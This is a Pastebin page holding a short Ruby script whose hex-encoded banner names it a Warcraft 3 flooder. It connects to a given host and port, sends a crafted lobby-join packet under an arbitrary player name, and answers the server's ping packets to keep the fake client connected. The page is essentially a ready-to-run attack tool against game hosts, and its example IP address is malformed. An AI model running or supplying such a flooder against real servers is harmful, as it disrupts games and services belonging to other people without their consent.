Advertisement
Guest User

Untitled

a guest
Mar 1st, 2012
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.12 KB | None | 0 0
  1. #ruby <ip> <port>
  2. #ruby 66.77.88.99.11 6115
  3.  
  4. require "socket"
  5. ARGV.each
  6.  
  7. newname="c39fc38f474dc385c387" #fancy bigmac longer then 8 char
  8. newname="0909090909090909"
  9. puts newname=ARGV[2].to_s.unpack("H*")
  10. name="693869676d6163"# juck name, 16 length
  11. val="2d".to_i(16)+newname.to_a.pack("H*").length-7
  12. #puts val.to_s(16)
  13. puts "2320693869676d616327732077617263726166743320666c6f6f6465722023".to_a.pack("H*")
  14.  
  15. TCPSocket.open(ARGV[0],ARGV[1]) {|sock|
  16. sock.print(["f71e#{val.to_s(16)}00c50d00300000000000e01709000000#{newname}000100020017d7c0a8016b0000000000000000"].pack("H*"))
  17. while data=(sock.sysread(65535).unpack("H*"))
  18.         puts data.pack("H*")
  19.                 if data.to_s.strip.include?("2e77336d00") == true;
  20.             #puts data.to_s.scan(/2e77336d00......../).to_s[10..15]
  21.             sock.print(["f7420d000100000001#{data.to_s.scan(/2e77336d00......../).to_s[10..15]}00"].pack("H*"))
  22.             end
  23.    if data.to_s.strip.include?("f7010800") == true;
  24.       ping=data.to_s.index("f7010800")
  25.       sock.print(["f7460800#{data.to_s[ping+8..ping+15]}"].pack("H*"))
  26.       #f7010800   works
  27.       #testing f7460800
  28.       else
  29.       sleep 1
  30.    end
  31. end
  32. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement